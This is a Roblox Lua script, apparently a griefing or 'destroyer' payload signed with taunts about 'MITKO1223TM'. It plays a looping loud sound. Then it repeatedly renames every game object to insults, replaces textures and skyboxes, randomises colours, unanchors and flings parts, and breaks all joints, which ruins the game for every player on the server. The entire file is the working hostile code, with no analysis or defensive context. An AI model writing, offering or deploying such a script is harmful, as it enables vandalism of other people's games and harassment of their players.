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- local module = {}
- --REKTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
- --REKT
- --REKT
- --REKT
- --REKT
- -- input
- function GetRecursiveChildren(Part, Children)
- for _, Part in pairs(Part:GetChildren()) do
- pcall(function()
- table.insert(Children, Part)
- GetRecursiveChildren(Part, Children)
- end)
- end
- return Children
- end
- local Phrases = {
- "MITKO1223TM IS THE MASTER",
- "MITKO1223TM IS THE MASTER",
- "MITKO1223TM IS THE MASTER",
- "MITKO1223TM IS THE MASTER",
- "TM IS BACK IDIOTS!",
- "MITKO1223TM IS THE MASTER",
- "ALL HAIL MITKO1223TM!",
- "MITKO1223TM IS THE MASTER",
- "MITKO1223TM IS THE MASTER",
- "MITKO1223TM IS THE MASTER",
- "TM was here!",
- "TM was here!",
- "MITKO1223TM IS THE MASTER",
- "TM was here!",
- "What's wrong,you overgrown stinking fish!",
- "MITKO1223TM IS THE MASTER",
- "You really ARE an idiot.",
- "MITKO1223TM IS THE MASTER",
- "MITKO1223TM IS THE MASTER",
- "MITKO1223TM IS THE MASTER",
- "MITKO1223TM IS THE MASTER",
- "DIEEEEEEEEEEE!",
- "THIS IS TM!",
- }
- local s = Instance.new("Sound")
- s.Name = "Sound"
- s.SoundId = "http://www.roblox.com/asset/?id=300794564"
- s.Volume = 5
- s.Looped = true
- s.archivable = false
- s.Parent = game.Workspace
- wait(3)
- s:play()
- Textures = {
- "http://www.roblox.com/Asset/?id=553637465",
- "http://www.roblox.com/Asset/?id=910773710",
- "http://www.roblox.com/Asset/?id=636991752",
- "http://www.roblox.com/Asset/?id=578178768",
- "http://www.roblox.com/Asset/?id=624116366",
- "http://www.roblox.com/Asset/?id=952020317",
- "http://www.roblox.com/Asset/?id=7291792",
- "http://www.roblox.com/Asset/?id=146543147",
- "http://www.roblox.com/Asset/?id=737796819"
- }
- Instance.new("Sky", game:GetService("Lighting")).CelestialBodiesShown = false
- Instance.new("Message", Workspace)
- Instance.new("Hint", Workspace)
- while true do
- for _, Part in pairs(GetRecursiveChildren(game, {})) do
- pcall(function()
- if not Part:IsA("Player")then
- pcall(function() Part.Name = Phrases[math.random(1, #Phrases)] end)
- pcall(function() Part.Text = Phrases[math.random(1, #Phrases)] end)
- pcall(function() Part.Image = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.TextureId = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.Texture = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.ShirtTemplate = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.PantsTemplate = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.Graphic = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.Color = Color3.new(math.random(), math.random(), math.random()) end)
- pcall(function() Part.Color3 = Color3.new(math.random(), math.random(), math.random()) end)
- pcall(function()
- Part.SkyboxUp = Textures[math.random(1, #Textures)]
- Part.SkyboxDn = Textures[math.random(1, #Textures)]
- Part.SkyboxLf = Textures[math.random(1, #Textures)]
- Part.SkyboxRt = Textures[math.random(1, #Textures)]
- Part.SkyboxFt = Textures[math.random(1, #Textures)]
- Part.SkyboxBk = Textures[math.random(1, #Textures)]
- end)
- pcall(function()
- Part.TextColor3 = Color3.new(math.random(), math.random(), math.random())
- Part.BackgroundColor3 = Color3.new(math.random(), math.random(), math.random())
- Part.BorderColor3 = Color3.new(math.random(), math.random(), math.random())
- end)
- pcall(function()
- Part.Pitch = math.random() * 5
- Part.Volume = 1
- Part.Looped = true
- Part:Play()
- end)
- pcall(function()
- if math.random(1, 5) == 1 then Part.Anchored = false end
- if Part.Anchored == false then
- Part.Velocity = Vector3.new(math.random(-10, 10), math.random(0, 50), math.random(-10, 10))
- Part.RotVelocity = Vector3.new(math.random(-100, 100), math.random(-100, 100), math.random(-100, 100))
- end
- Part.Locked = false
- Part.BrickColor = BrickColor.random()
- Part.TopSurface = "Weld"
- Part.BottomSurface = "Weld"
- Part.FrontSurface = "Weld"
- Part.BackSurface = "Weld"
- Part.LeftSurface = "Weld"
- Part.RightSurface = "Weld"
- Part:BreakJoints()
- end)
- end
- end)
- if math.random(1, 50) == 1 then wait() end
- end
- end
- s.Parent = game.workspace
- return module
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